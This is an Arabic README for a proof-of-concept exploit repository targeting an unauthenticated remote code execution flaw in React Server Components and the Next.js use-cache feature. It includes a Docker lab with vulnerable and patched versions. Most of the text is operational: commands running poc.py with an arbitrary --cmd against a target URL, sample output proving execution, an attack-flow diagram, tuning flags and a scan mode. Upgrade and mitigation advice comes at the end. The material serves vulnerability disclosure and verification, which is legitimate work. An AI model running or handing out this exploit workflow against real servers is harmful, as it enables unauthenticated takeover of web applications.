
PoC: تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر اختلال تزامن تأطير المصفوفة المُنمّطة في Next.js use-cache (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) | مختبر docker compose
use cache بمكوّنات React Serverتنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في مكوّنات React Server (react-server-dom-webpack/-parcel/-turbopack 19.0.0–19.3.0)، يمكن الوصول إليه عبر Next.js App Router + Cache Components — تم التحقق منه تفاضليًا في Docker: تنفيذ أوامر عشوائية على 16.4.0/19.3.0، وفشل نظيف على 16.4.1/19.3.1.
للاختبار المصرّح به فقط. استخدمه ضد الأنظمة التي تملكها أو لديك إذن كتابي باختبارها.
| الخطورة | حرجة — CVSS v4.0 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N) |
| المصابة | react-server-dom-* 19.0.0 – 19.3.0 · Next.js 16.0.0 – 16.4.0 (App Router + Cache Components) |
| المُصلحة | react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 · Next.js 16.4.1 |
| CWE | CWE-416 (عدم تزامن مكافئ لـ UAF) · CWE-706 |
| PoC | poc.py — Python 3.8+، stdlib فقط، بدون أي تبعيات |
| المختبر | Docker: نسخة مصابة (المنفذ 3100) + نسخة مُرقّعة (المنفذ 3101) لاختبار تفاضلي بأمر واحد |
docker compose up -d --build lab # vulnerable Next.js 16.4.0 / React 19.3.0
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
الإخراج على حاوية جديدة:
[*] action id: 7fd83c9c2021a51139b13e6677e5fa38caee3da138
[+] chunk=4 overread=8192 HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=1000(node) gid=1000(node) groups=1000(node)
Linux ee94eee5b39a ... aarch64 GNU/Linux
===============================================
لا مصادقة. لا ملف تعريف ارتباط. طلب GET واحد مع معامل ?annotation= مُصاغ → إجراء الخادم (Server Action) الخاص بالتطبيق نفسه ينفّذ أي أمر يضعه المهاجم في --cmd، مع إعادة المخرجات في الصفحة المُصيَّرة.
يوفّر المستودع مختبرين من نفس شجرة المصدر، يختلفان فقط في الإصدار:
| المختبر | Next.js | react-server-dom-* | النتيجة |
|---|---|---|---|
lab (المنفذ 3100) | 16.4.0 | 19.3.0 | RCE — إعادة مخرجات الأمر |
lab-patched (المنفذ 3101، --profile patched) | 16.4.1 | 19.3.1 | يفشل — يبقى التعليق التوضيحي معتمًا Uint8Array(8278)، ولا يُستدعى أي إجراء |
نفس كود التطبيق، نفس الـ PoC، نفس شكل الطلب. المتغيّر الوحيد هو المُسلسِل المُرقَّع. لو كان "الاستغلال" مجرد أثر من أثر المختبر أو سوء إعداد، لكان الجانبان يتصرفان بشكل متطابق. لكنهما لا يفعلان ذلك — ينجح الهجوم تمامًا على النطاق المصاب ويفشل تمامًا على الإصدار المُصلَّح. هذا هو تعريف PoC ثغرة مُتحقَّق منها.
GET واحد فقط.uid=…، uname، أي --cmd عشوائي) في الصفحة، لذا فإن التنفيذ مُثبَت بدليل مرئي للمهاجم، لا مُستنتَج من أثر جانبي.تُبنى كلتا الصورتين من node:22-bookworm-slim دون أي حالة مُخزَّنة مؤقتًا؛ يعمل الاستغلال على docker compose up جديد. لا أدوات على المضيف، ولا ذاكرة تخزين مؤقت مُهيَّأة مسبقًا، ولا خطوات يدوية. عدد مرات إعادة التشغيل: تأكّد الاستغلال في كل إعادة بناء جديدة.
يخرج poc.py بالرمز 0 فقط عندما يعود التعليق التوضيحي كمخرجات إجراء حقيقية (نتائج الأوامر)، ويخرج بالرمز 1 عندما يبقى Uint8Array(n) معتمًا — وهي بصمة الإصدار المُرقَّع بالضبط. قابل للتشغيل في CI كما هو:
python3 poc.py http://127.0.0.1:3100 --cmd 'id' && echo VULNERABLE
python3 poc.py http://127.0.0.1:3101 --cmd 'id' || echo PATCHED-OK
use cache المخزّنة مؤقتًا تُرجع عرضين Uint8Array فوق ArrayBuffer مشترك واحد بالإضافة إلى تعليق توضيحي متأثر بالمُستدعي.يفسّر الشرط المسبق AT:P في متجه CVSS: نمط التطبيق (ArrayBuffer مشترك متعدد العروض في دالة مخزّنة مؤقتًا) نادر في التطبيقات الحقيقية.
attacker annotation (base64, attacker bytes)
│
▼
┌─ use cache ────────────────────────────────────────┐
│ block0 [shared ArrayBuffer] ──► serialized, buffer│
│ block1 [same buffer] ──► DETACHED: length │
│ header, 0 bytes │
│ annotation ──► attacker-controlled stream bytes │
└────────────────────────────────────────────────────┘
│ cache re-read: decoder reads block1's declared
│ length FROM the annotation bytes, resumes parsing there
▼
forged Flight rows ──► server-reference chunk ──► Server Action invoked
with attacker arguments ──► /bin/sh -c "<attacker cmd>"
| المسار | الغرض |
|---|---|
poc.py | استغلال يعتمد على المكتبة القياسية فقط: اكتشاف معرّف الإجراء، وبناء كائن blob صفّي مُلفّق، وإرسال الطلب، ومحلّل المخرجات |
lab/ | تطبيق Next.js 16.4.0 + React 19.3.0 القابل للاستغلال (Docker) |
lab/app/payload.js | دالة use cache القابلة للاستغلال |
lab/app/actions.js | بديل مختبري لإجراء خادم ذي صلاحيات (/bin/sh -c) |
lab/app/layout.jsx | واجهة المختبر — سمة طرفية داكنة، بلا أي اعتماديات |
compose.yaml | مختبرات قابلة للاستغلال (3100) ومُرقّعة (3101)، أمر واحد لكل منهما |
# 1. vulnerable lab (Next.js 16.4.0 / React 19.3.0)
docker compose up -d --build lab
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
# 2. patched lab (Next.js 16.4.1 / React 19.3.1) — must fail
docker compose --profile patched up -d --build lab-patched
python3 poc.py http://127.0.0.1:3101 --cmd 'id'
| العلم | الافتراضي | الغرض |
|---|---|---|
--cmd | id | الأمر الذي يُنفَّذ بواسطة Server Action المختطف |
--path | / | الصفحة التي تستضيف الدالة المخزَّنة مؤقتًا |
--action-id | تلقائي | تخطّي الاكتشاف، وتقديم المعرّف السداسي العشري المكوَّن من 40–64 خانة |
--chunk-id / --overread | 4 / 8192 | ضبط إزاحة الاستئناف |
--scan | معطّل | مسح معرّفات القطع × أحجام القراءة الزائدة |
--timeout / --insecure | 30 / معطّل | أهداف HTTPS |
صفحة المختبر نفسها (http://127.0.0.1:3100/) هي وحدة تحكم صغيرة ذات مظهر داكن:
لوحة نتيجة فك الترميز مع وسم الحالة، وزر تشخيصات المشغّل الذي تُعرَض مخرجاته
على الصفحة، وعقد التعليقات التوضيحية في الحالة الفارغة. وهي موجودة كي يُسلَّم معرّف
Server Action في HTML العام تمامًا كما في تطبيق حقيقي — وهي الخاصية نفسها
التي تعتمد عليها خطوة الاكتشاف في PoC.
| الهدف | النتيجة |
|---|---|
| المختبر 16.4.0 / 19.3.0 (Docker) | uid=1000(node) + uname -a + مخرجات --cmd الاعتباطية معروضة في الصفحة — تأكُّد RCE |
| المختبر 16.4.1 / 19.3.1 (Docker) | يبقى التعليق التوضيحي معتمًا Uint8Array(8278)، دون استدعاء أي إجراء — يفشل الهجوم |
| تشغيل أصلي (نفس بيئة التشغيل الخاصة بالصورة) | فرق مطابق — يُعاد إنتاجه خارج Docker |
react-server-dom-* إلى 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 وNext.js إلى >= 16.4.1.use cache؛ انسخ
العروض إلى مخازن منفصلة (.slice()).